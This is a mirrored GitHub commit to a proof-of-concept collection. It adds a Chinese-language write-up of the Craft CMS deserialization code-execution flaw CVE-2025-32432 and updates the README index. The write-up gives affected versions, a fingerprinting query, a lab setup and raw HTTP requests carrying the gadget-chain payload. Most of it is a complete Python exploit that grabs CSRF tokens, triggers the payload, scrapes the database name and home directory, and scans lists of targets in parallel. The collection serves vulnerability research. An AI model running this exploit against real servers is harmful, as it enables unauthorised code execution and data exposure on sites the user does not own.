mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2026-10-24 17:04:28 +00:00
update CVE-2025-32432
This commit is contained in:
1 parent
12541bc14c
commit
e9eba42d89
5 files changed
+311
No files matched your search
@@ -0,0 +1,294 @@
|
||||
# Craft CMS generate-transform 反序列化代码执行漏洞 CVE-2025-32432
|
||||
|
||||
## 漏洞描述
|
||||
|
||||
Craft CMS 是一个灵活、用户友好的内容管理系统,用于创建自定义的数字网络体验和其他体验。CVE-2025-32432 中,攻击者可构造恶意请求利用 generate-transform 端点触发反序列化,执行任意代码,控制服务器。官方已发布安全更新,建议升级至最新版本。
|
||||
|
||||
参考链接:
|
||||
|
||||
- https://github.com/craftcms/cms/blob/3.x/CHANGELOG.md#3915---2025-04-10-critical
|
||||
- https://github.com/craftcms/cms/blob/4.x/CHANGELOG.md#41415---2025-04-10-critical
|
||||
- https://github.com/craftcms/cms/blob/5.x/CHANGELOG.md#5617---2025-04-10-critical
|
||||
- https://github.com/craftcms/cms/commit/e1c85441fa47eeb7c688c2053f25419bc0547b47
|
||||
- https://github.com/craftcms/cms/security/advisories/GHSA-f3gw-9ww9-jmc3
|
||||
- https://sensepost.com/blog/2025/investigating-an-in-the-wild-campaign-using-rce-in-craftcms/
|
||||
|
||||
## 漏洞影响
|
||||
|
||||
```
|
||||
3.0.0-RC1 <= Craft <= 3.9.14
|
||||
4.0.0-RC1 <= Craft <= 4.14.14
|
||||
5.0.0-RC1 <= Craft <= 5.6.16
|
||||
```
|
||||
|
||||
## 网络测绘
|
||||
|
||||
```
|
||||
header="X-Powered-By: Craft CMS" || banner="X-Powered-By: Craft CMS"
|
||||
```
|
||||
|
||||
## 环境搭建
|
||||
|
||||
参考 [CVE-2024-56145](https://github.com/vulhub/vulhub/tree/master/craftcms/CVE-2024-56145) 漏洞环境,Vulhub 执行以下命令启动一个 CraftCMS 5.5.1.1 服务器:
|
||||
|
||||
```
|
||||
docker-compose up -d
|
||||
```
|
||||
|
||||
服务器启动后,你可以在 `http://your-ip:8088/admin/install` 看到安装页面。请按照说明安装 CraftCMS,默认数据库地址为 `db`,用户名和密码均为 `root`。
|
||||
|
||||

|
||||
|
||||
## 漏洞复现
|
||||
|
||||
访问 `http://your-ip:8088/index.php?p=admin/dashboard`,跟随重定向,获取 `CRAFT_CSRF_TOKEN`:
|
||||
|
||||
```
|
||||
GET /index.php?p=admin/dashboard HTTP/1.1
|
||||
Host: your-ip:8088
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
|
||||
Cookie:
|
||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
|
||||
```
|
||||
|
||||

|
||||
|
||||
将上一步获取的 `CRAFT_CSRF_TOKEN` 填入 `X-CSRF-Token` 头部,向 `http://your-ip:8088/index.php?p=admin/actions/assets/generate-transform` 发送带有 payload 的 POST 请求:
|
||||
|
||||
```
|
||||
GET /index.php?p=admin/actions/assets/generate-transform HTTP/1.1
|
||||
Host: your-ip:8088
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
|
||||
Content-Type: application/json
|
||||
Cookie:
|
||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
|
||||
X-CSRF-Token: _W7rdrj_Wb5GVxnxxxxWBFQej5zhNNyQN65ikAY=
|
||||
|
||||
{"assetId": 11, "handle": {"width": 123, "height": 123, "as session": {"class": "craft\\behaviors\\FieldLayoutBehavior", "__class": "GuzzleHttp\\Psr7\\FnStream", "__construct()": [[]], "_fn_close": "phpinfo"}}}
|
||||
```
|
||||
|
||||
触发反序列化,通过 `GuzzleHttp\Psr7\FnStream` 类执行任意代码:
|
||||
|
||||

|
||||
|
||||
## 漏洞 POC
|
||||
|
||||
```python
|
||||
# https://github.com/Sachinart/CVE-2025-32432
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
CraftCMS CVE-2025-32432 Remote Code Execution Exploit By Chirag Artani
|
||||
This script automates the exploitation of the pre-auth RCE vulnerability in CraftCMS 4.x and 5.x.
|
||||
It extracts CSRF tokens and attempts RCE via the asset transform generation endpoint.
|
||||
|
||||
The script extracts both CRAFT_DB_DATABASE and HOME directory values to verify successful exploitation.
|
||||
|
||||
Usage:
|
||||
Single target:
|
||||
python3 craftcms_rce.py -u example.com
|
||||
|
||||
Multiple targets:
|
||||
python3 craftcms_rce.py -f urls.txt -t 10
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import concurrent.futures
|
||||
import re
|
||||
import requests
|
||||
import urllib3
|
||||
import sys
|
||||
from bs4 import BeautifulSoup
|
||||
from urllib.parse import urlparse
|
||||
|
||||
# Disable SSL warnings
|
||||
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
|
||||
|
||||
class CraftCMSExploit:
|
||||
def __init__(self, url):
|
||||
"""Initialize the exploit with the target URL."""
|
||||
self.url = url if url.endswith('/') else url + '/'
|
||||
self.session = requests.Session()
|
||||
self.session.verify = False
|
||||
self.session.timeout = 15
|
||||
self.session.headers = {
|
||||
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36'
|
||||
}
|
||||
|
||||
def normalize_url(self, url):
|
||||
"""Ensure URL has a scheme."""
|
||||
if not url.startswith('http'):
|
||||
url = 'http://' + url
|
||||
return url
|
||||
|
||||
def extract_csrf_token(self):
|
||||
"""Get the CSRF token from the dashboard page."""
|
||||
try:
|
||||
dashboard_url = self.url + "index.php?p=admin/dashboard"
|
||||
response = self.session.get(dashboard_url, timeout=10)
|
||||
|
||||
if response.status_code == 200:
|
||||
# Parse the HTML response
|
||||
soup = BeautifulSoup(response.text, 'html.parser')
|
||||
csrf_input = soup.find('input', {'name': 'CRAFT_CSRF_TOKEN'})
|
||||
|
||||
if csrf_input and csrf_input.get('value'):
|
||||
csrf_token = csrf_input.get('value')
|
||||
return csrf_token
|
||||
else:
|
||||
# Try regex as fallback
|
||||
match = re.search(r'name="CRAFT_CSRF_TOKEN"\s+value="([^"]+)"', response.text)
|
||||
if match:
|
||||
return match.group(1)
|
||||
|
||||
return None
|
||||
except Exception as e:
|
||||
print(f"Error extracting CSRF token from {self.url}: {str(e)}")
|
||||
return None
|
||||
|
||||
def exploit(self):
|
||||
"""Attempt to exploit the vulnerability and return results."""
|
||||
result = {
|
||||
'url': self.url,
|
||||
'vulnerable': False,
|
||||
'db_name': None,
|
||||
'home_dir': None,
|
||||
'error': None
|
||||
}
|
||||
|
||||
try:
|
||||
# Extract CSRF token
|
||||
csrf_token = self.extract_csrf_token()
|
||||
if not csrf_token:
|
||||
result['error'] = "Failed to extract CSRF token"
|
||||
return result
|
||||
|
||||
# Prepare exploit request
|
||||
exploit_url = self.url + "index.php?p=admin/actions/assets/generate-transform"
|
||||
headers = {
|
||||
'Content-Type': 'application/json',
|
||||
'X-CSRF-Token': csrf_token
|
||||
}
|
||||
|
||||
payload = {
|
||||
"assetId": 11,
|
||||
"handle": {
|
||||
"width": 123,
|
||||
"height": 123,
|
||||
"as session": {
|
||||
"class": "craft\\behaviors\\FieldLayoutBehavior",
|
||||
"__class": "GuzzleHttp\\Psr7\\FnStream",
|
||||
"__construct()": [[]],
|
||||
"_fn_close": "phpinfo"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
response = self.session.post(exploit_url, json=payload, headers=headers, timeout=15)
|
||||
|
||||
# Check if the exploit succeeded
|
||||
if 'PHP Version' in response.text and 'PHP License' in response.text:
|
||||
result['vulnerable'] = True
|
||||
|
||||
# Extract CRAFT_DB_DATABASE value
|
||||
db_match = re.search(r'<tr><td class="e">CRAFT_DB_DATABASE\s*</td><td class="v">([^<]+)</td></tr>', response.text)
|
||||
if db_match:
|
||||
result['db_name'] = db_match.group(1).strip()
|
||||
|
||||
# Extract HOME directory value
|
||||
home_match = re.search(r'<tr><td class="e">\$_SERVER\[\'HOME\'\]</td><td class="v">([^<]+)</td></tr>', response.text)
|
||||
if home_match:
|
||||
result['home_dir'] = home_match.group(1).strip()
|
||||
|
||||
# If HOME is not found, try to find it in a different format
|
||||
if not result['home_dir']:
|
||||
alt_home_match = re.search(r'<tr><td class="e">HOME</td><td class="v">([^<]+)</td></tr>', response.text)
|
||||
if alt_home_match:
|
||||
result['home_dir'] = alt_home_match.group(1).strip()
|
||||
|
||||
return result
|
||||
|
||||
except Exception as e:
|
||||
result['error'] = str(e)
|
||||
return result
|
||||
|
||||
def process_url(url):
|
||||
"""Process a single URL."""
|
||||
try:
|
||||
# Normalize URL
|
||||
if not url.startswith('http'):
|
||||
url = 'http://' + url
|
||||
|
||||
print(f"[*] Testing {url}")
|
||||
exploit = CraftCMSExploit(url)
|
||||
result = exploit.exploit()
|
||||
|
||||
if result['vulnerable']:
|
||||
print(f"[+] VULNERABLE: {url}")
|
||||
print(f" CRAFT_DB_DATABASE: {result['db_name'] or 'Not found'}")
|
||||
print(f" HOME Directory: {result['home_dir'] or 'Not found'}")
|
||||
with open('vulnerable.txt', 'a') as f:
|
||||
f.write(f"{url},{result['db_name'] or 'Not found'},{result['home_dir'] or 'Not found'}\n")
|
||||
elif result['error']:
|
||||
print(f"[-] ERROR ({url}): {result['error']}")
|
||||
else:
|
||||
print(f"[-] Not vulnerable: {url}")
|
||||
|
||||
return result
|
||||
except Exception as e:
|
||||
print(f"[-] Error processing {url}: {str(e)}")
|
||||
return {'url': url, 'vulnerable': False, 'error': str(e)}
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description='CraftCMS CVE-2025-32432 RCE Exploit')
|
||||
group = parser.add_mutually_exclusive_group(required=True)
|
||||
group.add_argument('-f', '--file', help='File containing URLs to test')
|
||||
group.add_argument('-u', '--url', help='Single URL to test')
|
||||
parser.add_argument('-t', '--threads', type=int, default=5, help='Number of threads (default: 5)')
|
||||
args = parser.parse_args()
|
||||
|
||||
urls = []
|
||||
|
||||
# Handle single URL mode
|
||||
if args.url:
|
||||
urls = [args.url]
|
||||
print(f"[*] Testing single target: {args.url}")
|
||||
# Handle file mode
|
||||
elif args.file:
|
||||
try:
|
||||
with open(args.file, 'r') as f:
|
||||
urls = [line.strip() for line in f if line.strip()]
|
||||
print(f"[*] Loaded {len(urls)} URLs from {args.file}")
|
||||
except Exception as e:
|
||||
print(f"Error reading URL file: {str(e)}")
|
||||
sys.exit(1)
|
||||
|
||||
print(f"[*] Starting scan with {args.threads} threads")
|
||||
|
||||
# Create results file for vulnerable sites
|
||||
with open('vulnerable.txt', 'w') as f:
|
||||
f.write("url,craft_db_database,home_directory\n")
|
||||
|
||||
# Process URLs using thread pool
|
||||
results = []
|
||||
with concurrent.futures.ThreadPoolExecutor(max_workers=args.threads) as executor:
|
||||
results = list(executor.map(process_url, urls))
|
||||
|
||||
# Summary
|
||||
vulnerable_count = sum(1 for r in results if r['vulnerable'])
|
||||
print("\n=== SCAN SUMMARY ===")
|
||||
print(f"Total URLs scanned: {len(urls)}")
|
||||
print(f"Vulnerable sites: {vulnerable_count}")
|
||||
print(f"Detailed results saved to vulnerable.txt")
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
|
||||
```
|
||||
|
||||
## 漏洞修复
|
||||
|
||||
升级至安全版本及其以上。
|
||||
BIN
Binary file not shown.
|
After Width: | Height: | Size: 1.4 MiB |
BIN
Binary file not shown.
|
After Width: | Height: | Size: 631 KiB |
BIN
Binary file not shown.
|
After Width: | Height: | Size: 456 KiB |
@@ -1,5 +1,17 @@
|
||||
# Awesome-POC
|
||||
|
||||
<p align="left">
|
||||
<a href="https://github.com/Threekiii/Awesome-POC">
|
||||
<img src="https://badgen.net/github/stars/Threekiii/Awesome-POC?color=yellow&icon=github" alt="stars">
|
||||
</a>
|
||||
<a href="https://github.com/Threekiii/Awesome-POC">
|
||||
<img src="https://badgen.net/github/forks/Threekiii/Awesome-POC?color=blue&icon=github" alt="forks">
|
||||
</a>
|
||||
<a href="https://github.com/Threekiii/Awesome-POC">
|
||||
<img src="https://badgen.net/github/last-commit/Threekiii/Awesome-POC?color=green" alt="last-commit">
|
||||
</a>
|
||||
</p>
|
||||
|
||||
**❗【免责声明】本项目所涉及的技术、思路和工具仅供学习,任何人不得将其用于非法用途和盈利,不得将其用于非授权渗透测试,否则后果自行承担,与本项目无关。 使用本项目前请先阅读 [法律法规](https://github.com/Threekiii/Awesome-Laws)。**
|
||||
|
||||
_Disclaimer: The technologies, concepts, and tools provided in this Git repository are intended for educational and research purposes only. Any use for illegal activities, unauthorized penetration testing, or commercial purposes is strictly prohibited. Please read the [Awesome-Laws](https://github.com/Threekiii/Awesome-Laws) before using this repository._
|
||||
@@ -21,6 +33,7 @@ _Disclaimer: The technologies, concepts, and tools provided in this Git reposito
|
||||
* CmsEasy crossall_act.php SQL注入漏洞
|
||||
* CmsEasy language_admin.php 后台命令执行漏洞
|
||||
* CmsEasy update_admin.php 后台任意文件上传漏洞
|
||||
* Craft CMS generate-transform 反序列化代码执行漏洞 CVE-2025-32432
|
||||
* CraftCMS register_argc_argv 远程代码执行漏洞 CVE-2024-56145
|
||||
* CraftCMS 未授权远程代码执行漏洞 CVE-2023-41892
|
||||
* CxCMS Resource.ashx 任意文件读取漏洞
|
||||
@@ -404,6 +417,7 @@ _Disclaimer: The technologies, concepts, and tools provided in this Git reposito
|
||||
* PDF.js 任意 JavaScript 代码执行 CVE-2024-4367
|
||||
* pgAdmin ≤ 6.16 无授权远程命令执行漏洞 CVE-2022-4223
|
||||
* pgAdmin ≤ 7.6 后台远程命令执行漏洞 CVE-2023-5002
|
||||
* pgAdmin4 ≤ 9.10 后台 Restore 工具命令注入漏洞 CVE-2025-13780
|
||||
* pgAdmin4<9.2 后台远程代码执行漏洞 CVE-2025-2945
|
||||
* phpMyAdmin后台SQL注入 CVE-2020-26935
|
||||
* PHPStudy 后台管理页面 one click RCE
|
||||
@@ -1147,3 +1161,6 @@ _Disclaimer: The technologies, concepts, and tools provided in this Git reposito
|
||||
|
||||
- 2023.04.01 重构目录,合并 [Vulhub-Reproduce](https://github.com/Threekiii/Vulhub-Reproduce) 与本仓库
|
||||
- 2022.12.05 图片本地化
|
||||
|
||||
|
||||

|
||||
Reference in new issue
Block a user